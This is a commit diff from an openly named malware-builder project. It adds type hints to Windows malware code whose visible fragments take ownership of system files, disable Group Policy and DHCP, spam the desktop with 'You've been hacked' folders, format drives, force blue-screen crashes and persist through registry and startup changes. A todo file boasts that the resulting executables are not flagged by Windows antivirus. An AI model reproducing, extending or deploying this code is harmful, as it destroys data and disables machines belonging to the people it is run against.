Skip to content

Commit 29f94fe

Browse files
Updated docstrings (Later) and var types
1 parent 7c8d1a0 commit 29f94fe

File tree

3 files changed

+32
-24
lines changed

3 files changed

+32
-24
lines changed

MalwareBuilder.py

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -14,7 +14,7 @@
1414

1515
class Construct:
1616
@staticmethod
17-
def __safe_process_run(command, custom_err_message="executing the command", log_output=True):
17+
def __safe_process_run(command: str | list[str], custom_err_message: str = "executing the command", log_output:bool=True):
1818
try:
1919
result = subprocess.run(command, check=True, capture_output=True, text=True)
2020
if log_output:
@@ -27,7 +27,7 @@ def __safe_process_run(command, custom_err_message="executing the command", log_
2727
exit(1)
2828

2929
@classmethod
30-
def exe(cls, script_names):
30+
def exe(cls, script_names: list[str]):
3131
# Uninstall pathlib to avoid conflicts with PyInstaller
3232
REINSTALL = False
3333
if importlib.util.find_spec('pathlib') is not None:
@@ -55,7 +55,7 @@ def exe(cls, script_names):
5555
custom_err_message="reinstalling pathlib")
5656

5757
@staticmethod
58-
def functions(config_path):
58+
def functions(config_path: str) -> dict[str, str]:
5959
config = configparser.ConfigParser()
6060
config.optionxform = str # Preserve original case of keys
6161
config.read(config_path)
@@ -72,7 +72,7 @@ def functions(config_path):
7272
return features
7373

7474
@staticmethod
75-
def end_code(variable):
75+
def end_code(variable: str) -> str:
7676
return fr"""
7777
try:
7878
if not is_admin():
@@ -91,7 +91,7 @@ def end_code(variable):
9191
"""
9292

9393
@staticmethod
94-
def safe_deletion(file_path):
94+
def safe_deletion(file_path: str):
9595
if os.path.exists(file_path):
9696
if os.path.isdir(file_path):
9797
shutil.rmtree(file_path)

MalwareCode.py

Lines changed: 20 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -124,15 +124,15 @@ def add_to_startup(self):
124124
log.error(f"Unexpected error: {ex}")
125125

126126

127-
def is_admin():
127+
def is_admin() -> bool:
128128
"""Check if the script is running with admin privileges."""
129129
try:
130130
return ctypes.windll.shell32.IsUserAnAdmin()
131131
except Exception:
132132
return False
133133

134134

135-
def take_ownership(file_path):
135+
def take_ownership(file_path: str):
136136
"""Take ownership of a file or directory."""
137137
# Take ownership of the gpedit.msc file
138138
output = subprocess.run(fr"takeown /f {file_path}",
@@ -146,18 +146,18 @@ def take_ownership(file_path):
146146

147147
# ------------------------- Decorators Code ----------------------- #
148148

149-
def experimental(func: callable):
149+
def experimental(func: callable) -> callable:
150150
@functools.wraps(func)
151-
def wrapper(*args, **kwargs):
151+
def wrapper(*args, **kwargs) -> callable:
152152
log.warning(f"{func.__name__}() is an experimental feature, don't rely on it!")
153153
return func(*args, **kwargs)
154154

155155
return wrapper
156156

157157

158-
def not_tested(func: callable):
158+
def not_tested(func: callable) -> callable:
159159
@functools.wraps(func)
160-
def wrapper(*args, **kwargs):
160+
def wrapper(*args, **kwargs) -> callable:
161161
log.warning(f"{func.__name__}() is a non-tested feature, don't rely on it!")
162162
return func(*args, **kwargs)
163163

@@ -306,7 +306,7 @@ def __init__(self):
306306
self.GPEDIT = r"C:\Windows\System32\gpedit.msc"
307307

308308
@staticmethod
309-
def __stop_gpedit_services(service_name):
309+
def __stop_gpedit_services(service_name: str) -> None:
310310
"""Try to stop a service if it's running."""
311311
status = subprocess.run(f"sc qc {service_name}", shell=True, capture_output=True, text=True)
312312
if "ERROR" in status.stderr:
@@ -342,7 +342,7 @@ def disable(self):
342342
self.__stop_gpedit_services("gpsvc") # Group Policy Client service
343343
self.__stop_gpedit_services("netprofm") # Network List Service
344344

345-
def enable(self):
345+
def enable(self) -> None:
346346
"""
347347
Re-enable Group Policy Editor by restoring registry settings and file permissions.
348348
"""
@@ -689,7 +689,7 @@ def enable():
689689

690690
class DHCP:
691691
@staticmethod
692-
def __dhcp_client(use_dhcp):
692+
def __dhcp_client(use_dhcp: bool):
693693
# Fetch all active interfaces
694694
interfaces = subprocess.check_output(
695695
"netsh interface show interface", shell=True, text=True
@@ -756,7 +756,7 @@ def enable(self):
756756

757757
class Taskbar:
758758
@staticmethod
759-
def __create_powershell_command(code):
759+
def __create_powershell_command(code: int) -> str:
760760
return """
761761
Add-Type -TypeDefinition @"
762762
using System;
@@ -1203,7 +1203,7 @@ def __run(command):
12031203
log.error(f"Error: {e}")
12041204

12051205
@staticmethod
1206-
def __get_dependencies(service_name):
1206+
def __get_dependencies(service_name) -> list[str] | list[None]:
12071207
"""Get the list of dependent services."""
12081208
try:
12091209
result = subprocess.run(f"sc qc {service_name}", shell=True, capture_output=True, text=True)
@@ -1323,7 +1323,8 @@ def __init__(self):
13231323
default = config.get("Spam.Desktop", "ERROR_TYPE", fallback="You've been hacked")
13241324
repeat_default = config.getint("Spam.Desktop", "COUNT", fallback=500)
13251325

1326-
folders = config.get("Spam.Desktop", "EXTRA_FOLDERS", fallback="Hackers, Anonymous, YourPCIsMine, Hacked, Lol")
1326+
folders = config.get("Spam.Desktop", "EXTRA_FOLDERS",
1327+
fallback="Hackers, Anonymous, YourPCIsMine, Hacked, Lol")
13271328
folders = folders.replace(" ", "").split(",")
13281329
files = config.get("Spam.Desktop", "EXTRA_FILES", fallback="You, have, been, hacked, lol")
13291330
files = files.replace(" ", "").split(",")
@@ -1443,7 +1444,7 @@ def enable(self):
14431444

14441445
class Windows:
14451446
@staticmethod
1446-
def __format(drive_letter):
1447+
def __format(drive_letter: str):
14471448
try:
14481449
# Ensure the drive letter ends with a colon
14491450
if not drive_letter.endswith(":"):
@@ -1476,10 +1477,11 @@ def __init__(self):
14761477
self.MAX_CRASHES = config.getint("Destroy.BSOD", "MAX_CRASHES", fallback=5)
14771478
self.REGISTRY_PATH = config.get("Destroy.BSOD", "REG_PATH", fallback="SOFTWARE\\SysBSOD")
14781479
self.VALUE_NAME = config.get("Destroy.BSOD", "REG_KEY", fallback="BCC")
1479-
self.CRASH_ERR = config.get("Destroy.BSOD", "MESSAGE", fallback="The code monkeys at our headquarters are working very hard to fix this!")
1480+
self.CRASH_ERR = config.get("Destroy.BSOD", "MESSAGE",
1481+
fallback="The code monkeys at our headquarters are working very hard to fix this!")
14801482
self.CRASH_CODE = 0xDEADDEAD
14811483

1482-
def __check_registry_and_update(self):
1484+
def __check_registry_and_update(self) -> bool:
14831485
"""
14841486
Check the registry for "CrashCount". If it exists and is greater than or equal to MAX_CRASHES, do nothing.
14851487
Otherwise, increment and allow the script to proceed with the BSOD.
@@ -1509,6 +1511,7 @@ def __check_registry_and_update(self):
15091511
log.error(f"Failed to check registry: {err}")
15101512
return False
15111513
finally:
1514+
# Does it ever do this? We will never know...
15121515
try:
15131516
reg.CloseKey(key)
15141517
except Exception:
@@ -1636,7 +1639,7 @@ def __init__(self):
16361639
self.SWP_NOSIZE = 0x0001
16371640
self.SWP_NOMOVE = 0x0002
16381641

1639-
def __glitch_forever(self):
1642+
def __glitch_forever(self) -> None:
16401643
"""Continuously make the Taskbar glitch until stopped."""
16411644
if not self.taskbar_hwnd:
16421645
log.error("Taskbar not found.")
@@ -1667,7 +1670,7 @@ def start(self):
16671670
exit()
16681671

16691672
@staticmethod
1670-
def __persist(enable=True):
1673+
def __persist(enable: bool = True) -> None:
16711674
"""Persist Taskbar changes through reboots by modifying the Registry."""
16721675
key_path = r"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced"
16731676
try:
@@ -1891,5 +1894,4 @@ def start(self):
18911894
except KeyboardInterrupt:
18921895
log.info("Exiting...")
18931896

1894-
18951897
# ---------------------------- Main Code --------------------------- #

malware todo.txt

Lines changed: 7 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -56,6 +56,12 @@ and if not, then exit the program. ✅
5656

5757
Add colorlog and ascii art to the program ✅
5858

59-
Make docs and variable types to the functions.
59+
Make docs and variable types to the functions.
6060

6161
COMPLETED!!!
62+
63+
[Using full settings] Outputs 1 exe is 2.4GB, May need to compress it down, but it's not a priority
64+
( Cure.exe ~ Infect.exe )
65+
To mitigate use a python env
66+
67+
Good news, none of them is flagged as malware by windows!!!

0 commit comments

Comments
 (0)